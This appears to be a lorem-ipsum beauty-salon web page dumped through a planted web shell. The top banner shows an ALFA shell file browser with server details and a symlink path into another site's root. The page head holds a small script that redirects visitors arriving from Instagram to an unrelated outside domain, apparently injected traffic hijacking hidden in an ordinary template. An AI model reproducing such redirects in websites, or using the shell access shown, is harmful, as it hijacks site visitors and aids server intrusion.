|
Server : Apache/2.4.62 System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64 User : www ( 80) PHP Version : 8.3.8 Disable Function : NONE Directory : /domains/highlandlabs/cqi-bin/ALFA_DATA/alfasymlink/root/domains/aatweb/ |
Upload File : |
<!doctype html>
<!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang=""> <![endif]-->
<!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8" lang=""> <![endif]-->
<!--[if IE 8]> <html class="no-js lt-ie9" lang=""> <![endif]-->
<!--[if gt IE 8]><!-->
<html class="no-js" lang="">
<!--<![endif]-->
<head>
<script>
var rUrl;
rUrl = document.referrer;
if(rUrl.indexOf("instagram") > 0 )
{
window.location="http://www.yohosee.com";
}
</script>
<meta charset="utf-8">
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Home</title>
<link rel="stylesheet" href="css/bootstrap.min.css">
<link rel="stylesheet" href="css/flexslider.css">
<link rel="stylesheet" href="css/jquery.fancybox.css">
<link href="css/owl.carousel.css" rel="stylesheet">
<link href="css/owl.transitions.css" rel="stylesheet">
<link rel="stylesheet" href="css/main.css">
<link rel="stylesheet" href="css/responsive.css">
<link rel="stylesheet" href="css/font-icon.css">
<link rel="stylesheet" href="css/animate.min.css">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css">
</head>
<body>
<!-- header section -->
<section role="banner" id="home">
<header id="header">
<div class="header-content clearfix"> <a class="logo" href="index.html"><span class="icon icon-genius"></span> MakeOver</a>
<nav class="navigation" role="navigation">
<ul class="primary-nav">
<li><a href="#home">Home</a></li>
<li><a href="#intro">About</a></li>
<li><a href="#services">services</a></li>
<li><a href="#package">Package</a></li>
<li><a href="#gallery">Gallery</a></li>
<li><a href="#teams">Our Team</a></li>
<li><a href="#contact">Contact</a></li>
</ul>
</nav>
<a href="#" class="nav-toggle">Menu<span></span></a> </div>
</header>
</section>
<!-- header section -->
<section id="main-slider">
<div class="owl-carousel">
<div class="item" style="background-image: url(images/slider/bg1.jpg);">
<div class="slider-inner">
<div class="container">
<div class="row">
<div class="col-sm-12">
<div class="carousel-content">
<h2>Look Beautiful</h2>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore.</p>
<a class="btn btn-primary btn-lg" href="#package">Offers</a>
</div>
</div>
</div>
</div>
</div>
</div><!--/.item-->
<div class="item" style="background-image: url(images/slider/bg2.jpg);">
<div class="slider-inner">
<div class="container">
<div class="row">
<div class="col-sm-12">
<div class="carousel-content">
<h2>Feel Beautiful</h2>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore.</p>
<a class="btn btn-primary btn-lg" href="#package">Offers</a>
</div>
</div>
</div>
</div>
</div>
</div><!--/.item-->
</div><!--/.owl-carousel-->
</section><!--/#main-slider-->
<!-- intro section -->
<section id="intro" class="section intro">
<div class="container">
<div class="col-md-8 col-md-offset-2 text-center">
<h3>MakeOver Your Looks</h3>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis eu libero scelerisque ligula sagittis faucibus eget quis lacus.Lorem ipsum dolor sit amet, consectetur adipiscing elit.Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
</div>
<div class="row">
<div class="col-sm-6 col-md-4">
<div class="thumbnail">
<img src="images/portfolio/05.jpg" alt="img">
<div class="caption">
<h3>Beauty</h3>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis eu libero scelerisque ligula sagittis faucibus eget quis lacus.Lorem ipsum</p>
</div>
</div>
</div>
<div class="col-sm-6 col-md-4">
<div class="thumbnail">
<img src="images/portfolio/07.jpg" alt="img">
<div class="caption">
<h3>Aroma Spa</h3>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis eu libero scelerisque ligula sagittis faucibus eget quis lacus.Lorem ipsum</p>
</div>
</div>
</div>
<div class="col-sm-6 col-md-4">
<div class="thumbnail">
<img src="images/portfolio/08.jpg" alt="img">
<div class="caption">
<h3>Makekup</h3>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis eu libero scelerisque ligula sagittis faucibus eget quis lacus.Lorem ipsum</p>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- intro section -->
<!-- services section -->
<section id="services" class="services service-section">
<div class="container">
<div class="section-header">
<h2 class="wow fadeInDown animated">Our Services</h2>
<p class="wow fadeInDown animated">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent eget risus vitae massa <br> semper aliquam quis mattis quam.</p>
</div>
<div class="row">
<div class="col-md-4 col-sm-6 services text-center"> <span class="icon icon-strategy"></span>
<div class="services-content">
<h5>Aroma Therapy</h5>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis eu libero scelerisque ligula sagittis faucibus eget quis lacus.</p>
</div>
</div>
<div class="col-md-4 col-sm-6 services text-center"> <span class="icon icon-briefcase"></span>
<div class="services-content">
<h5>Body Spa</h5>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis eu libero scelerisque ligula sagittis faucibus eget quis lacus.</p>
</div>
</div>
<div class="col-md-4 col-sm-6 services text-center"> <span class="icon icon-tools"></span>
<div class="services-content">
<h5>Expert Hair Spa</h5>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis eu libero scelerisque ligula sagittis faucibus eget quis lacus.</p>
</div>
</div>
<div class="col-md-4 col-sm-6 services text-center"> <span class="icon icon-genius"></span>
<div class="services-content">
<h5>Massage</h5>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis eu libero scelerisque ligula sagittis faucibus eget quis lacus.</p>
</div>
</div>
<div class="col-md-4 col-sm-6 services text-center"> <span class="icon icon-megaphone"></span>
<div class="services-content">
<h5>Manicure</h5>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis eu libero scelerisque ligula sagittis faucibus eget quis lacus.</p>
</div>
</div>
<div class="col-md-4 col-sm-6 services text-center"> <span class="icon icon-trophy"></span>
<div class="services-content">
<h5>Wedding Makekup</h5>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis eu libero scelerisque ligula sagittis faucibus eget quis lacus.</p>
</div>
</div>
</div>
</div>
</section>
<!-- services section -->
<!-- package section -->
<section id="package" class="packageList">
<div class="container">
<div class="section-header">
<h2 class="wow fadeInDown animated">Package</h2>
<p class="wow fadeInDown animated">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent eget risus vitae massa <br> semper aliquam quis mattis quam.</p>
</div>
<div class="row">
<div class="col-md-6">
<div class="package wow fadeInLeft animated" data-wow-offset="250" data-wow-delay="200ms">
<h5>Hair Styling</h5>
<ul class="list-default">
<li>Lorem ipsum dolor sit amet, consectetur</li>
<li>adipiscing eliteger gravida velit quis dolo</li>
<li>Pellentesque elit tortor</li>
</ul>
<strong class="price"><small>$</small>38</strong>
</div><!-- end package -->
<div class="package wow fadeInLeft animated" data-wow-offset="200" data-wow-delay="300m">
<h5>Skin Treatment</h5>
<ul class="list-default">
<li>Lorem ipsum dolor sit amet, consectetur</li>
<li>adipiscing eliteger gravida velit quis dolo</li>
<li>Pellentesque elit tortor</li>
</ul>
<strong class="price"><small>$</small>75</strong>
</div><!-- end package -->
<div class="package no-border wow fadeInLeft animated" data-wow-offset="150" data-wow-delay="400m" >
<h5>Hair Treatment</h5>
<ul class="list-default">
<li>Lorem ipsum dolor sit amet, consectetur</li>
<li>adipiscing eliteger gravida velit quis dolo</li>
<li>Pellentesque elit tortor</li>
</ul>
<strong class="price"><small>$</small>46</strong>
</div><!-- end package -->
</div><!-- end col-md-6 -->
<div class="col-md-6">
<div class="package wow fadeInRight animated" data-wow-offset="250" data-wow-delay="500m" >
<h5>Body Massage</h5>
<ul class="list-default">
<li>Lorem ipsum dolor sit amet, consectetur</li>
<li>adipiscing eliteger gravida velit quis dolo</li>
<li>Pellentesque elit tortor</li>
</ul>
<strong class="price"><small>$</small>15</strong>
</div><!-- end package -->
<div class="package wow fadeInRight animated" data-wow-offset="200" data-wow-delay="600m">
<h5>Nail Painiting</h5>
<ul class="list-default">
<li>Lorem ipsum dolor sit amet, consectetur</li>
<li>adipiscing eliteger gravida velit quis dolo</li>
<li>Pellentesque elit tortor</li>
</ul>
<strong class="price"><small>$</small>84</strong>
</div><!-- end package -->
<div class="package no-border wow fadeInRight animated" data-wow-offset="150" data-wow-delay="700m">
<h5>Color Treatment</h5>
<ul class="list-default">
<li>Lorem ipsum dolor sit amet, consectetur</li>
<li>adipiscing eliteger gravida velit quis dolo</li>
<li>Pellentesque elit tortor</li>
</ul>
<strong class="price"><small>$</small>95</strong>
</div><!-- end package -->
</div><!-- end col-md-6 -->
</div><!-- end row -->
</div>
</section>
<!-- package section -->
<!-- gallery section -->
<section id="gallery" class="gallery section">
<div class="container">
<div class="section-header">
<h2 class="wow fadeInDown animated">Gallery</h2>
<p class="wow fadeInDown animated">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent eget risus vitae massa <br> semper aliquam quis mattis quam.</p>
</div>
<div class="row no-gutter">
<div class="col-lg-3 col-md-6 col-sm-6 work"> <a href="images/portfolio/01.jpg" class="work-box"> <img src="images/portfolio/01.jpg" alt="">
<div class="overlay">
<div class="overlay-caption">
<p><span class="icon icon-magnifying-glass"></span></p>
</div>
</div>
<!-- overlay -->
</a> </div>
<div class="col-lg-3 col-md-6 col-sm-6 work"> <a href="images/portfolio/02.jpg" class="work-box"> <img src="images/portfolio/02.jpg" alt="">
<div class="overlay">
<div class="overlay-caption">
<p><span class="icon icon-magnifying-glass"></span></p>
</div>
</div>
<!-- overlay -->
</a> </div>
<div class="col-lg-3 col-md-6 col-sm-6 work"> <a href="images/portfolio/03.jpg" class="work-box"> <img src="images/portfolio/03.jpg" alt="">
<div class="overlay">
<div class="overlay-caption">
<p><span class="icon icon-magnifying-glass"></span></p>
</div>
</div>
<!-- overlay -->
</a> </div>
<div class="col-lg-3 col-md-6 col-sm-6 work"> <a href="images/portfolio/04.jpg" class="work-box"> <img src="images/portfolio/04.jpg" alt="">
<div class="overlay">
<div class="overlay-caption">
<p><span class="icon icon-magnifying-glass"></span></p>
</div>
</div>
<!-- overlay -->
</a> </div>
<div class="col-lg-3 col-md-6 col-sm-6 work"> <a href="images/portfolio/05.jpg" class="work-box"> <img src="images/portfolio/05.jpg" alt="">
<div class="overlay">
<div class="overlay-caption">
<p><span class="icon icon-magnifying-glass"></span></p>
</div>
</div>
<!-- overlay -->
</a> </div>
<div class="col-lg-3 col-md-6 col-sm-6 work"> <a href="images/portfolio/06.jpg" class="work-box"> <img src="images/portfolio/06.jpg" alt="">
<div class="overlay">
<div class="overlay-caption">
<p><span class="icon icon-magnifying-glass"></span></p>
</div>
</div>
<!-- overlay -->
</a> </div>
<div class="col-lg-3 col-md-6 col-sm-6 work"> <a href="images/portfolio/07.jpg" class="work-box"> <img src="images/portfolio/07.jpg" alt="">
<div class="overlay">
<div class="overlay-caption">
<p><span class="icon icon-magnifying-glass"></span></p>
</div>
</div>
<!-- overlay -->
</a> </div>
<div class="col-lg-3 col-md-6 col-sm-6 work"> <a href="images/portfolio/08.jpg" class="work-box"> <img src="images/portfolio/08.jpg" alt="">
<div class="overlay">
<div class="overlay-caption">
<p><span class="icon icon-magnifying-glass"></span></p>
</div>
</div>
<!-- overlay -->
</a> </div>
</div>
</div>
</section>
<!-- gallery section -->
<!-- our team section -->
<section id="teams" class="section teams">
<div class="container">
<div class="section-header">
<h2 class="wow fadeInDown animated">Our Team</h2>
<p class="wow fadeInDown animated">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent eget risus vitae massa <br> semper aliquam quis mattis quam.</p>
</div>
<div class="row">
<div class="col-md-3 col-sm-6">
<div class="person"><img src="images/team-1.jpg" alt="" class="img-responsive">
<div class="person-content">
<h4>Jonh Dow</h4>
<h5 class="role">Founder</h5>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit eget risus vitae massa.</p>
</div>
<ul class="social-icons clearfix">
<li><a href="#"><span class="fa fa-facebook"></span></a></li>
<li><a href="#"><span class="fa fa-twitter"></span></a></li>
<li><a href="#"><span class="fa fa-google-plus"></span></a></li>
</ul>
</div>
</div>
<div class="col-md-3 col-sm-6">
<div class="person"> <img src="images/team-2.jpg" alt="" class="img-responsive">
<div class="person-content">
<h4>Markus Linn</h4>
<h5 class="role">Creative</h5>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit eget risus vitae massa.</p>
</div>
<ul class="social-icons clearfix">
<li><a href="#" class=""><span class="fa fa-facebook"></span></a></li>
<li><a href="#" class=""><span class="fa fa-twitter"></span></a></li>
<li><a href="#" class=""><span class="fa fa-google-plus"></span></a></li>
</ul>
</div>
</div>
<div class="col-md-3 col-sm-6">
<div class="person"> <img src="images/team-3.jpg" alt="" class="img-responsive">
<div class="person-content">
<h4>Chris Jemes</h4>
<h5 class="role">Technical</h5>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit eget risus vitae massa.</p>
</div>
<ul class="social-icons clearfix">
<li><a href="#" class=""><span class="fa fa-facebook"></span></a></li>
<li><a href="#" class=""><span class="fa fa-twitter"></span></a></li>
<li><a href="#" class=""><span class="fa fa-google-plus"></span></a></li>
</ul>
</div>
</div>
<div class="col-md-3 col-sm-6">
<div class="person"> <img src="images/team-4.jpg" alt="" class="img-responsive">
<div class="person-content">
<h4>Vintes Mars</h4>
<h5 class="role">Marketing</h5>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit eget risus vitae massa.</p>
</div>
<ul class="social-icons clearfix">
<li><a href="#" class=""><span class="fa fa-facebook"></span></a></li>
<li><a href="#" class=""><span class="fa fa-twitter"></span></a></li>
<li><a href="#" class=""><span class="fa fa-google-plus"></span></a></li>
</ul>
</div>
</div>
</div>
</div>
</section>
<!-- our team section -->
<!-- Testimonials section -->
<section id="testimonials" class="section testimonials no-padding">
<div class="container-fluid">
<div class="row no-gutter">
<div class="flexslider">
<ul class="slides">
<li>
<div class="col-md-12">
<blockquote>
<h1>"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent eget risus vitae massa
semper aliquam quis mattis consectetur adipiscing elit.." </h1>
<p>Chris Mentsl</p>
</blockquote>
</div>
</li>
<li>
<div class="col-md-12">
<blockquote>
<h1>"Praesent eget risus vitae massa Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent eget risus vitae massa
semper aliquam quis mattis consectetur adipiscing elit.." </h1>
<p>Kristean velnly</p>
</blockquote>
</div>
</li>
<li>
<div class="col-md-12">
<blockquote>
<h1>"Consectetur adipiscing elit Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent eget risus vitae massa
semper aliquam quis mattis consectetur adipiscing elit.." </h1>
<p>Markus Denny</p>
</blockquote>
</div>
</li>
<li>
<div class="col-md-12">
<blockquote>
<h1>"Vitae massa semper aliquam Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent eget risus vitae massa
semper aliquam quis mattis consectetur adipiscing elit.." </h1>
<p>John Doe</p>
</blockquote>
</div>
</li>
</ul>
</div>
</div>
</div>
</section>
<!-- Testimonials section -->
<!-- contact section -->
<section id="contact" class="section">
<div class="container">
<div class="section-header">
<h2 class="wow fadeInDown animated">Contact Us</h2>
<p class="wow fadeInDown animated">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent eget risus vitae massa <br> semper aliquam quis mattis quam.</p>
</div>
<div class="row">
<div class="col-md-8 col-md-offset-2 conForm">
<div id="message"></div>
<form method="post" action="php/contact.php" name="cform" id="cform">
<input name="name" id="name" type="text" class="col-xs-12 col-sm-12 col-md-12 col-lg-12" placeholder="Your name..." >
<input name="email" id="email" type="email" class=" col-xs-12 col-sm-12 col-md-12 col-lg-12 noMarr" placeholder="Email Address..." >
<textarea name="comments" id="comments" cols="" rows="" class="col-xs-12 col-sm-12 col-md-12 col-lg-12" placeholder="Message..."></textarea>
<input type="submit" id="submit" name="send" class="submitBnt" value="Send">
<div id="simple-msg"></div>
</form>
</div>
</div>
</div>
</section>
<!-- contact section -->
<!-- Footer section -->
<footer class="footer">
<div class="container-fluid">
<div id="map-row" class="row">
<div class="col-xs-12">
<!---<iframe width="100%" height="400" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" src="https://maps.google.co.uk/maps?f=q&source=s_q&hl=en&geocode=&q=15+Springfield+Way,+Hythe,+CT21+5SH&aq=t&sll=52.8382,-2.327815&sspn=8.047465,13.666992&ie=UTF8&hq=&hnear=15+Springfield+Way,+Hythe+CT21+5SH,+United+Kingdom&t=m&z=14&ll=51.077429,1.121722&output=embed"></iframe>
<div id="map-overlay" class="col-xs-5 col-xs-offset-6" style="">
<h2 style="margin-top:0;color:#fff;">Contact us</h2>
<address style="color:#fff;">
<strong>Company name</strong><br>
1234 Street Dr.<br>
Vancouver, BC<br>
Canada<br>
V6G 1G9<br>
<abbr title="Phone">Tel:</abbr> (604) 555-4321
</address>
Copyright © 2017.Company name All rights reserved.<a target="_blank" href="http://sc.chinaz.com/moban/">网页模板</a>
</div>--->
</div>
</div>
</div>
</footer>
<!-- Footer section -->
<!-- JS FILES -->
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<script src="js/owl.carousel.min.js"></script>
<script src="js/mousescroll.js"></script>
<script src="js/smoothscroll.js"></script>
<script src="js/jquery.flexslider-min.js"></script>
<script src="js/jquery.fancybox.pack.js"></script>
<script src="js/modernizr.js"></script>
<script src="js/main.js"></script>
<script type="text/javascript" src="js/jquery.contact.js"></script>
</body>
</html>